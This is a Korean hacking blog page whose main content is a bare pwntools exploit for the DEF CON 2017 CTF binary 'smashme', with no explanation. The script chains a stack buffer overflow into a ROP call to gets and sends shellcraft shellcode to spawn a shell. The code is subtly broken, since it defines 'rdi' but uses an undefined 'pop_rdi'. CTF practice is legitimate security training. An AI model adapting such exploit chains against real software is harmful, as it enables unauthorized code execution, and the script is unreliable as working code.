Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 코드게이트
- 도메인 https
- blueborne
- BLUETOOTH
- 코드게이트 주니어
- module
- Git
- gogs
- npm
- node.js
- 노드 엑셀
- pwnable
- pwntools
- Hacking
- https설정
- Codegate
- NGINX
- 코드게이트2017
- https
- doorlock
- Branch
- shellcraft
- node
- CODEGATE2018
- xlsx
- lob
- openctf
- CVE
- gogs private git
- codegate2017
Archives
- Today
- Total
고졸백수해킹일기
defcon2017 smashme (exploit only) 본문
from pwn import *
import time
context(arch='amd64', os='linux')
overflow = "Smash me outside, how bout dAAAAAAAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbBBBB"
bss = p64(0x6CB164)
rdi = p64(0x4014d6)
gets = p64(0x40fad0)
shell = asm(shellcraft.sh())
payload = ""
payload += overflow
payload += pop_rdi+bss
payload += gets+bss
s = process("./smashme")
s.sendline(payload)
time.sleep(1)
s.sendline(shell)
s.interactive()
'Pwnable' 카테고리의 다른 글
ARM exploit (0) | 2020.09.12 |
---|---|
pdb symbol 수동으로 다운 (0) | 2020.08.14 |
pwntools shellcraft 사용법 (0) | 2018.03.15 |
codegate2014 nuclear (0) | 2018.03.09 |
codegate2018 BaskinRobins31 (0) | 2018.03.06 |